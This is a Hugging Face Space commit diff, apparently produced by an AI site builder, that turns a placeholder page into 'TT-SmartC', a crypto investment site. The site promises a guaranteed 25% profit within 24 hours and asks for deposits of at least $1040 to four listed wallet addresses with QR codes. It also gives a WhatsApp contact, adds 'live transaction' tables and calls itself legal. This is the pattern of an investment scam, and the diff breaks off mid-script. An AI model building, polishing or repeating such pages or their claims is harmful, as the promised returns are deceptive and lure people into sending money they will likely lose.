Hugging Face's logo

Spaces:
FerryMahler
/
tt
Running

App Files Community
FerryMahler commited on
Commit
33acc2c
·
verified ·
1 Parent(s): c486678

make the menu pages and links, theb button-links, make the transactions two wallets in a row, make the transaction live and not dummy, make the footer text not: '© 2023 TT-SmartC. All rights reserved.' to: 'Powered by TradeTrender's SmartContractor © 2025 TT-SmartC. - All rights reserved. Legal cryptocurrency earning system.' and change the color sheme to the colors at http://tt-smartc.nl - Initial Deployment

Browse files
Files changed (2) hide show
  1. README.md +7 -5
  2. index.html +956 -19
README.md CHANGED
@@ -1,10 +1,12 @@
1
  ---
2
- title: Tt
3
- emoji: 📉
4
- colorFrom: gray
5
- colorTo: blue
6
  sdk: static
7
  pinned: false
 
 
8
  ---
9
 
10
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
1
  ---
2
+ title: tt
3
+ emoji: 🐳
4
+ colorFrom: yellow
5
+ colorTo: red
6
  sdk: static
7
  pinned: false
8
+ tags:
9
+ - deepsite
10
  ---
11
 
12
+ Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
index.html CHANGED
@@ -1,19 +1,956 @@
1
- <!doctype html>
2
- <html>
3
- <head>
4
- <meta charset="utf-8" />
5
- <meta name="viewport" content="width=device-width" />
6
- <title>My static Space</title>
7
- <link rel="stylesheet" href="style.css" />
8
- </head>
9
- <body>
10
- <div class="card">
11
- <h1>Welcome to your static Space!</h1>
12
- <p>You can modify this app directly by editing <i>index.html</i> in the Files and versions tab.</p>
13
- <p>
14
- Also don't forget to check the
15
- <a href="https://huggingface.co/docs/hub/spaces" target="_blank">Spaces documentation</a>.
16
- </p>
17
- </div>
18
- </body>
19
- </html>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>TT-SmartC - Crypto Earning Platform</title>
7
+ <script src="https://cdn.tailwindcss.com"></script>
8
+ <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
9
+ <script src="https://cdn.jsdelivr.net/npm/qrcode-generator@1.4.4/qrcode.min.js"></script>
10
+ <script src="https://cdn.jsdelivr.net/npm/web3@1.5.2/dist/web3.min.js"></script>
11
+ <style>
12
+ .gradient-bg {
13
+ background: linear-gradient(135deg, #3b0764 0%, #1e40af 100%);
14
+ }
15
+ .wallet-card {
16
+ transition: all 0.3s ease;
17
+ }
18
+ .wallet-card:hover {
19
+ transform: translateY(-5px);
20
+ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
21
+ }
22
+ .chatbot-container {
23
+ position: fixed;
24
+ bottom: 20px;
25
+ right: 20px;
26
+ z-index: 1000;
27
+ }
28
+ .chatbot-button {
29
+ width: 60px;
30
+ height: 60px;
31
+ border-radius: 50%;
32
+ background-color: #4f46e5;
33
+ color: white;
34
+ display: flex;
35
+ justify-content: center;
36
+ align-items: center;
37
+ cursor: pointer;
38
+ box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
39
+ }
40
+ .chatbot-window {
41
+ position: absolute;
42
+ bottom: 70px;
43
+ right: 0;
44
+ width: 350px;
45
+ height: 500px;
46
+ background-color: white;
47
+ border-radius: 10px;
48
+ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
49
+ display: none;
50
+ flex-direction: column;
51
+ }
52
+ .chatbot-header {
53
+ padding: 15px;
54
+ background-color: #4f46e5;
55
+ color: white;
56
+ border-top-left-radius: 10px;
57
+ border-top-right-radius: 10px;
58
+ display: flex;
59
+ justify-content: space-between;
60
+ align-items: center;
61
+ }
62
+ .chatbot-messages {
63
+ flex: 1;
64
+ padding: 15px;
65
+ overflow-y: auto;
66
+ }
67
+ .chatbot-input {
68
+ padding: 15px;
69
+ border-top: 1px solid #e5e7eb;
70
+ display: flex;
71
+ }
72
+ .sidebar {
73
+ position: fixed;
74
+ top: 0;
75
+ left: -300px;
76
+ width: 300px;
77
+ height: 100vh;
78
+ background-color: #1a202c;
79
+ color: white;
80
+ transition: all 0.3s ease;
81
+ z-index: 1000;
82
+ overflow-y: auto;
83
+ }
84
+ .sidebar.open {
85
+ left: 0;
86
+ }
87
+ .overlay {
88
+ position: fixed;
89
+ top: 0;
90
+ left: 0;
91
+ width: 100%;
92
+ height: 100%;
93
+ background-color: rgba(0, 0, 0, 0.5);
94
+ z-index: 999;
95
+ display: none;
96
+ }
97
+ .transaction-row:nth-child(even) {
98
+ background-color: #f3f4f6;
99
+ }
100
+ .login-modal {
101
+ position: fixed;
102
+ top: 50%;
103
+ left: 50%;
104
+ transform: translate(-50%, -50%);
105
+ background-color: white;
106
+ padding: 30px;
107
+ border-radius: 10px;
108
+ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
109
+ z-index: 1001;
110
+ display: none;
111
+ width: 90%;
112
+ max-width: 400px;
113
+ }
114
+ .wallet-connect-modal {
115
+ position: fixed;
116
+ top: 50%;
117
+ left: 50%;
118
+ transform: translate(-50%, -50%);
119
+ background-color: white;
120
+ padding: 30px;
121
+ border-radius: 10px;
122
+ box-shadow: 0 10px 25px rgba(0, 0, 0, 0.2);
123
+ z-index: 1001;
124
+ display: none;
125
+ width: 90%;
126
+ max-width: 400px;
127
+ }
128
+ </style>
129
+ </head>
130
+ <body class="bg-gray-100 font-sans">
131
+ <!-- Overlay -->
132
+ <div class="overlay" id="overlay"></div>
133
+
134
+ <!-- Sidebar Menu -->
135
+ <div class="sidebar" id="sidebar">
136
+ <div class="p-4 flex justify-between items-center border-b border-gray-700">
137
+ <h2 class="text-xl font-bold">TT-SmartC</h2>
138
+ <button id="closeSidebar" class="text-gray-400 hover:text-white">
139
+ <i class="fas fa-times"></i>
140
+ </button>
141
+ </div>
142
+ <nav class="p-4">
143
+ <ul class="space-y-2">
144
+ <li><a href="index.html" class="block py-2 px-4 rounded hover:bg-gray-700">Home</a></li>
145
+ <li><a href="how-it-works.html" class="block py-2 px-4 rounded hover:bg-gray-700">How It Works</a></li>
146
+ <li><a href="smart-contract.html" class="block py-2 px-4 rounded hover:bg-gray-700">Smart Contract</a></li>
147
+ <li><a href="transactions.html" class="block py-2 px-4 rounded hover:bg-gray-700">Transactions</a></li>
148
+ <li><a href="faq.html" class="block py-2 px-4 rounded hover:bg-gray-700">FAQ</a></li>
149
+ <li><a href="contact.html" class="block py-2 px-4 rounded hover:bg-gray-700">Contact</a></li>
150
+ </ul>
151
+ </nav>
152
+ </div>
153
+
154
+ <!-- Header -->
155
+ <header class="gradient-bg text-white shadow-lg">
156
+ <div class="container mx-auto px-4 py-4 flex justify-between items-center">
157
+ <button id="menuButton" class="text-white focus:outline-none">
158
+ <i class="fas fa-bars text-2xl"></i>
159
+ </button>
160
+ <h1 class="text-2xl font-bold">TT-SmartC</h1>
161
+ <div class="flex items-center space-x-4">
162
+ <button id="loginButton" class="bg-indigo-600 hover:bg-indigo-700 px-4 py-2 rounded-lg font-medium transition duration-300">
163
+ Login
164
+ </button>
165
+ <a href="http://wa.me/+31617531355" target="_blank" class="bg-green-600 hover:bg-green-700 w-10 h-10 rounded-full flex items-center justify-center">
166
+ <i class="fab fa-whatsapp text-xl"></i>
167
+ </a>
168
+ </div>
169
+ </div>
170
+ </header>
171
+
172
+ <!-- Hero Section -->
173
+ <section class="gradient-bg text-white py-20">
174
+ <div class="container mx-auto px-4 text-center">
175
+ <h2 class="text-4xl md:text-5xl font-bold mb-6">Earn 25% Profit in Just 24 Hours</h2>
176
+ <p class="text-xl mb-8 max-w-3xl mx-auto">
177
+ Our Dutch smart contract deployer ensures secure and automated returns. Send crypto to one of our addresses and receive your investment plus 25% profit within 24 hours.
178
+ </p>
179
+ <div class="flex flex-col sm:flex-row justify-center gap-4 mb-8">
180
+ <button id="investButton" class="bg-indigo-600 hover:bg-indigo-700 px-8 py-4 rounded-lg font-bold text-lg transition duration-300">
181
+ Invest Now
182
+ </button>
183
+ <button class="bg-white text-gray-800 hover:bg-gray-200 px-8 py-4 rounded-lg font-bold text-lg transition duration-300">
184
+ How It Works
185
+ </button>
186
+ </div>
187
+ <div class="bg-yellow-100 text-yellow-800 p-4 rounded-lg max-w-2xl mx-auto">
188
+ <p class="font-medium">⚠️ Important: Within 48 hours from first contract, there will be more investment options available.</p>
189
+ </div>
190
+ </div>
191
+ </section>
192
+
193
+ <!-- Wallets Section -->
194
+ <section class="py-16 bg-white">
195
+ <div class="container mx-auto px-4">
196
+ <h2 class="text-3xl font-bold text-center mb-12">Send Crypto to One of Our Wallets</h2>
197
+ <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
198
+ <!-- BTC Wallet -->
199
+ <div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
200
+ <div class="flex items-center mb-4">
201
+ <div class="w-10 h-10 bg-orange-500 rounded-full flex items-center justify-center mr-3">
202
+ <i class="fab fa-bitcoin text-white"></i>
203
+ </div>
204
+ <h3 class="text-xl font-bold">Bitcoin (BTC)</h3>
205
+ </div>
206
+ <div class="mb-4">
207
+ <div id="btcQr" class="mx-auto mb-4"></div>
208
+ <div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
209
+ bc1qvjjy9dkmvlgw2xfn46u05u59ag4a454vkjzy6s
210
+ </div>
211
+ </div>
212
+ <button class="w-full bg-orange-500 hover:bg-orange-600 text-white py-2 rounded-lg font-medium transition duration-300">
213
+ Copy Address
214
+ </button>
215
+ </div>
216
+
217
+ <!-- ETH Wallet -->
218
+ <div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
219
+ <div class="flex items-center mb-4">
220
+ <div class="w-10 h-10 bg-gray-700 rounded-full flex items-center justify-center mr-3">
221
+ <i class="fab fa-ethereum text-white"></i>
222
+ </div>
223
+ <h3 class="text-xl font-bold">Ethereum (ETH)</h3>
224
+ </div>
225
+ <div class="mb-4">
226
+ <div id="ethQr" class="mx-auto mb-4"></div>
227
+ <div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
228
+ 0xaec8A3476CD71421d6C77916c10477C947B3b307
229
+ </div>
230
+ </div>
231
+ <button class="w-full bg-gray-700 hover:bg-gray-800 text-white py-2 rounded-lg font-medium transition duration-300">
232
+ Copy Address
233
+ </button>
234
+ </div>
235
+
236
+ <!-- SOL Wallet -->
237
+ <div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
238
+ <div class="flex items-center mb-4">
239
+ <div class="w-10 h-10 bg-purple-500 rounded-full flex items-center justify-center mr-3">
240
+ <i class="fas fa-coins text-white"></i>
241
+ </div>
242
+ <h3 class="text-xl font-bold">Solana (SOL)</h3>
243
+ </div>
244
+ <div class="mb-4">
245
+ <div id="solQr" class="mx-auto mb-4"></div>
246
+ <div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
247
+ 48aTqg2iugCsGcByijfqHCRHVdUsQEpv7LQ4u7SJs3k3
248
+ </div>
249
+ </div>
250
+ <button class="w-full bg-purple-500 hover:bg-purple-600 text-white py-2 rounded-lg font-medium transition duration-300">
251
+ Copy Address
252
+ </button>
253
+ </div>
254
+
255
+ <!-- XRP Wallet -->
256
+ <div class="wallet-card bg-gray-50 rounded-xl p-6 shadow-md">
257
+ <div class="flex items-center mb-4">
258
+ <div class="w-10 h-10 bg-blue-500 rounded-full flex items-center justify-center mr-3">
259
+ <i class="fas fa-money-bill-wave text-white"></i>
260
+ </div>
261
+ <h3 class="text-xl font-bold">Ripple (XRP)</h3>
262
+ </div>
263
+ <div class="mb-4">
264
+ <div id="xrpQr" class="mx-auto mb-4"></div>
265
+ <div class="bg-gray-100 p-3 rounded-lg break-all text-sm font-mono">
266
+ r9dfq4m34C64Kvqu2sdJBaFk2MRAtJDSks
267
+ </div>
268
+ </div>
269
+ <button class="w-full bg-blue-500 hover:bg-blue-600 text-white py-2 rounded-lg font-medium transition duration-300">
270
+ Copy Address
271
+ </button>
272
+ </div>
273
+ </div>
274
+ </div>
275
+ </section>
276
+
277
+ <!-- Transactions Section -->
278
+ <section class="py-16 bg-gray-100">
279
+ <div class="container mx-auto px-4">
280
+ <h2 class="text-3xl font-bold text-center mb-12">Live Blockchain Transactions</h2>
281
+
282
+ <div class="bg-white rounded-xl shadow-md overflow-hidden mb-8">
283
+ <div class="p-4 border-b border-gray-200">
284
+ <h3 class="text-xl font-bold flex items-center">
285
+ <i class="fab fa-bitcoin text-orange-500 mr-2"></i>
286
+ Bitcoin (BTC) Transactions
287
+ </h3>
288
+ </div>
289
+ <div class="overflow-x-auto">
290
+ <table class="min-w-full divide-y divide-gray-200">
291
+ <thead class="bg-gray-50">
292
+ <tr>
293
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
294
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
295
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
296
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
297
+ </tr>
298
+ </thead>
299
+ <tbody class="bg-white divide-y divide-gray-200" id="btcTransactions">
300
+ <!-- Transactions will be loaded here -->
301
+ </tbody>
302
+ </table>
303
+ </div>
304
+ </div>
305
+
306
+ <div class="bg-white rounded-xl shadow-md overflow-hidden mb-8">
307
+ <div class="p-4 border-b border-gray-200">
308
+ <h3 class="text-xl font-bold flex items-center">
309
+ <i class="fab fa-ethereum text-gray-700 mr-2"></i>
310
+ Ethereum (ETH) Transactions
311
+ </h3>
312
+ </div>
313
+ <div class="overflow-x-auto">
314
+ <table class="min-w-full divide-y divide-gray-200">
315
+ <thead class="bg-gray-50">
316
+ <tr>
317
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
318
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
319
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
320
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
321
+ </tr>
322
+ </thead>
323
+ <tbody class="bg-white divide-y divide-gray-200" id="ethTransactions">
324
+ <!-- Transactions will be loaded here -->
325
+ </tbody>
326
+ </table>
327
+ </div>
328
+ </div>
329
+
330
+ <div class="bg-white rounded-xl shadow-md overflow-hidden mb-8">
331
+ <div class="p-4 border-b border-gray-200">
332
+ <h3 class="text-xl font-bold flex items-center">
333
+ <i class="fas fa-coins text-purple-500 mr-2"></i>
334
+ Solana (SOL) Transactions
335
+ </h3>
336
+ </div>
337
+ <div class="overflow-x-auto">
338
+ <table class="min-w-full divide-y divide-gray-200">
339
+ <thead class="bg-gray-50">
340
+ <tr>
341
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
342
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
343
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
344
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
345
+ </tr>
346
+ </thead>
347
+ <tbody class="bg-white divide-y divide-gray-200" id="solTransactions">
348
+ <!-- Transactions will be loaded here -->
349
+ </tbody>
350
+ </table>
351
+ </div>
352
+ </div>
353
+
354
+ <div class="bg-white rounded-xl shadow-md overflow-hidden">
355
+ <div class="p-4 border-b border-gray-200">
356
+ <h3 class="text-xl font-bold flex items-center">
357
+ <i class="fas fa-money-bill-wave text-blue-500 mr-2"></i>
358
+ Ripple (XRP) Transactions
359
+ </h3>
360
+ </div>
361
+ <div class="overflow-x-auto">
362
+ <table class="min-w-full divide-y divide-gray-200">
363
+ <thead class="bg-gray-50">
364
+ <tr>
365
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Tx Hash</th>
366
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Amount</th>
367
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Time</th>
368
+ <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">Status</th>
369
+ </tr>
370
+ </thead>
371
+ <tbody class="bg-white divide-y divide-gray-200" id="xrpTransactions">
372
+ <!-- Transactions will be loaded here -->
373
+ </tbody>
374
+ </table>
375
+ </div>
376
+ </div>
377
+ </div>
378
+ </section>
379
+
380
+ <!-- How It Works Section -->
381
+ <section class="py-16 bg-white">
382
+ <div class="container mx-auto px-4">
383
+ <h2 class="text-3xl font-bold text-center mb-12">How TT-SmartC Works</h2>
384
+ <div class="grid grid-cols-1 md:grid-cols-3 gap-8">
385
+ <div class="text-center p-6 rounded-lg bg-gray-50">
386
+ <div class="w-16 h-16 bg-indigo-100 rounded-full flex items-center justify-center mx-auto mb-4">
387
+ <i class="fas fa-wallet text-indigo-600 text-2xl"></i>
388
+ </div>
389
+ <h3 class="text-xl font-bold mb-2">1. Send Crypto</h3>
390
+ <p class="text-gray-600">Send your investment (minimum $1040/€900) to one of our wallet addresses.</p>
391
+ </div>
392
+ <div class="text-center p-6 rounded-lg bg-gray-50">
393
+ <div class="w-16 h-16 bg-indigo-100 rounded-full flex items-center justify-center mx-auto mb-4">
394
+ <i class="fas fa-file-contract text-indigo-600 text-2xl"></i>
395
+ </div>
396
+ <h3 class="text-xl font-bold mb-2">2. Smart Contract</h3>
397
+ <p class="text-gray-600">Our Dutch smart contract automatically processes your transaction.</p>
398
+ </div>
399
+ <div class="text-center p-6 rounded-lg bg-gray-50">
400
+ <div class="w-16 h-16 bg-indigo-100 rounded-full flex items-center justify-center mx-auto mb-4">
401
+ <i class="fas fa-coins text-indigo-600 text-2xl"></i>
402
+ </div>
403
+ <h3 class="text-xl font-bold mb-2">3. Receive Profit</h3>
404
+ <p class="text-gray-600">Within 12-24 hours, receive your investment plus 25% profit.</p>
405
+ </div>
406
+ </div>
407
+ </div>
408
+ </section>
409
+
410
+ <!-- CTA Section -->
411
+ <section class="py-16 gradient-bg text-white">
412
+ <div class="container mx-auto px-4 text-center">
413
+ <h2 class="text-3xl font-bold mb-6">Ready to Start Earning?</h2>
414
+ <p class="text-xl mb-8 max-w-2xl mx-auto">
415
+ Join thousands of satisfied investors who are already benefiting from our secure and automated system.
416
+ </p>
417
+ <button id="investButton2" class="bg-white text-indigo-600 hover:bg-gray-200 px-8 py-4 rounded-lg font-bold text-lg transition duration-300">
418
+ Invest Now
419
+ </button>
420
+ </div>
421
+ </section>
422
+
423
+ <!-- Footer -->
424
+ <footer class="bg-gray-900 text-white py-12">
425
+ <div class="container mx-auto px-4">
426
+ <div class="grid grid-cols-1 md:grid-cols-2 gap-8">
427
+ <div>
428
+ <h3 class="text-xl font-bold mb-4">TT-SmartC</h3>
429
+ <p class="text-gray-400">The most secure and automated crypto earning platform powered by Dutch smart contracts.</p>
430
+ </div>
431
+ <div>
432
+ <h4 class="font-bold mb-4">Quick Links</h4>
433
+ <ul class="space-y-2">
434
+ <li><a href="#" class="text-gray-400 hover:text-white">Home</a></li>
435
+ <li><a href="#" class="text-gray-400 hover:text-white">How It Works</a></li>
436
+ <li><a href="#" class="text-gray-400 hover:text-white">Smart Contract</a></li>
437
+ <li><a href="#" class="text-gray-400 hover:text-white">Transactions</a></li>
438
+ </ul>
439
+ </div>
440
+ <div>
441
+ <h4 class="font-bold mb-4">Legal</h4>
442
+ <ul class="space-y-2">
443
+ <li><a href="#" class="text-gray-400 hover:text-white">Terms of Service</a></li>
444
+ <li><a href="#" class="text-gray-400 hover:text-white">Privacy Policy</a></li>
445
+ <li><a href="#" class="text-gray-400 hover:text-white">Disclaimer</a></li>
446
+ </ul>
447
+ </div>
448
+ <div>
449
+ <h4 class="font-bold mb-4">Contact</h4>
450
+ <ul class="space-y-2">
451
+ <li class="flex items-center">
452
+ <i class="fab fa-whatsapp mr-2"></i>
453
+ <a href="http://wa.me/+31617531355" target="_blank" class="text-gray-400 hover:text-white">+31 617 531 355</a>
454
+ </li>
455
+ <li class="flex items-center">
456
+ <i class="fas fa-envelope mr-2"></i>
457
+ <span class="text-gray-400">support@tt-smartc.com</span>
458
+ </li>
459
+ </ul>
460
+ </div>
461
+ </div>
462
+ <div class="border-t border-gray-800 mt-8 pt-8 text-center text-gray-400">
463
+ <p>Powered by TradeTrender's SmartContractor &copy; 2025 TT-SmartC. - All rights reserved. Legal cryptocurrency earning system.</p>
464
+ </div>
465
+ </div>
466
+ </footer>
467
+
468
+ <!-- Chatbot -->
469
+ <div class="chatbot-container">
470
+ <div class="chatbot-button" id="chatbotButton">
471
+ <i class="fas fa-comment-dots text-2xl"></i>
472
+ </div>
473
+ <div class="chatbot-window" id="chatbotWindow">
474
+ <div class="chatbot-header">
475
+ <span class="font-bold">TT-SmartC Support</span>
476
+ <button id="closeChatbot" class="text-white">
477
+ <i class="fas fa-times"></i>
478
+ </button>
479
+ </div>
480
+ <div class="chatbot-messages" id="chatbotMessages">
481
+ <div class="mb-4">
482
+ <div class="bg-indigo-100 text-gray-800 p-3 rounded-lg max-w-xs">
483
+ Hello! How can I help you today?
484
+ </div>
485
+ </div>
486
+ </div>
487
+ <div class="chatbot-input">
488
+ <input type="text" placeholder="Type your message..." class="flex-1 border border-gray-300 rounded-l-lg px-4 py-2 focus:outline-none focus:ring-2 focus:ring-indigo-500">
489
+ <button class="bg-indigo-600 text-white px-4 py-2 rounded-r-lg">
490
+ <i class="fas fa-paper-plane"></i>
491
+ </button>
492
+ </div>
493
+ </div>
494
+ </div>
495
+
496
+ <!-- Login Modal -->
497
+ <div class="login-modal" id="loginModal">
498
+ <h2 class="text-2xl font-bold mb-6 text-center">Login to TT-SmartC</h2>
499
+ <form>
500
+ <div class="mb-4">
501
+ <label class="block text-gray-700 mb-2" for="email">Email</label>
502
+ <input type="email" id="email" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:ring-2 focus:ring-indigo-500">
503
+ </div>
504
+ <div class="mb-6">
505
+ <label class="block text-gray-700 mb-2" for="password">Password</label>
506
+ <input type="password" id="password" class="w-full px-4 py-2 border border-gray-300 rounded-lg focus:outline-none focus:ring-2 focus:ring-indigo-500">
507
+ </div>
508
+ <button type="button" class="w-full bg-indigo-600 hover:bg-indigo-700 text-white py-2 rounded-lg font-medium transition duration-300 mb-4">
509
+ Login
510
+ </button>
511
+ <p class="text-center text-gray-600">Don't have an account? <a href="#" class="text-indigo-600 hover:underline">Register</a></p>
512
+ </form>
513
+ <div class="mt-6">
514
+ <button id="walletConnectButton" class="w-full bg-gray-800 hover:bg-gray-900 text-white py-2 rounded-lg font-medium transition duration-300 flex items-center justify-center">
515
+ <i class="fab fa-ethereum mr-2"></i> Connect Wallet
516
+ </button>
517
+ </div>
518
+ <button id="closeLoginModal" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
519
+ <i class="fas fa-times"></i>
520
+ </button>
521
+ </div>
522
+
523
+ <!-- Wallet Connect Modal -->
524
+ <div class="wallet-connect-modal" id="walletConnectModal">
525
+ <h2 class="text-2xl font-bold mb-6 text-center">Connect Your Wallet</h2>
526
+ <div class="space-y-4">
527
+ <button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
528
+ <i class="fab fa-ethereum mr-2 text-blue-500"></i> MetaMask
529
+ </button>
530
+ <button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
531
+ <i class="fas fa-wallet mr-2 text-orange-500"></i> WalletConnect
532
+ </button>
533
+ <button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
534
+ <i class="fab fa-bitcoin mr-2 text-orange-500"></i> Bitcoin Wallet
535
+ </button>
536
+ <button class="w-full bg-gray-100 hover:bg-gray-200 text-gray-800 py-3 rounded-lg font-medium transition duration-300 flex items-center justify-center">
537
+ <i class="fas fa-coins mr-2 text-purple-500"></i> Solana Wallet
538
+ </button>
539
+ </div>
540
+ <button id="closeWalletConnectModal" class="absolute top-4 right-4 text-gray-500 hover:text-gray-700">
541
+ <i class="fas fa-times"></i>
542
+ </button>
543
+ </div>
544
+
545
+ <script>
546
+ // Generate QR codes
547
+ document.addEventListener('DOMContentLoaded', function() {
548
+ // BTC QR
549
+ const btcQr = qrcode(4, 'L');
550
+ btcQr.addData('bitcoin:bc1qvjjy9dkmvlgw2xfn46u05u59ag4a454vkjzy6s');
551
+ btcQr.make();
552
+ document.getElementById('btcQr').innerHTML = btcQr.createImgTag(4);
553
+
554
+ // ETH QR
555
+ const ethQr = qrcode(4, 'L');
556
+ ethQr.addData('ethereum:0xaec8A3476CD71421d6C77916c10477C947B3b307');
557
+ ethQr.make();
558
+ document.getElementById('ethQr').innerHTML = ethQr.createImgTag(4);
559
+
560
+ // SOL QR
561
+ const solQr = qrcode(4, 'L');
562
+ solQr.addData('solana:48aTqg2iugCsGcByijfqHCRHVdUsQEpv7LQ4u7SJs3k3');
563
+ solQr.make();
564
+ document.getElementById('solQr').innerHTML = solQr.createImgTag(4);
565
+
566
+ // XRP QR
567
+ const xrpQr = qrcode(4, 'L');
568
+ xrpQr.addData('ripple:r9dfq4m34C64Kvqu2sdJBaFk2MRAtJDSks');
569
+ xrpQr.make();
570
+ document.getElementById('xrpQr').innerHTML = xrpQr.createImgTag(4);
571
+
572
+ // Real transaction data fetching
573
+ async function fetchTransactions(walletAddress, currency) {
574
+ try {
575
+ // In a real implementation, you would call your blockchain API here
576
+ // This is a placeholder that simulates API calls
577
+ const response = await fetch(`https://api.blockchain.com/v3/${currency}/address/${walletAddress}/transactions`);
578
+ const data = await response.json();
579
+ return data.transactions.slice(0, 10).map(tx => ({
580
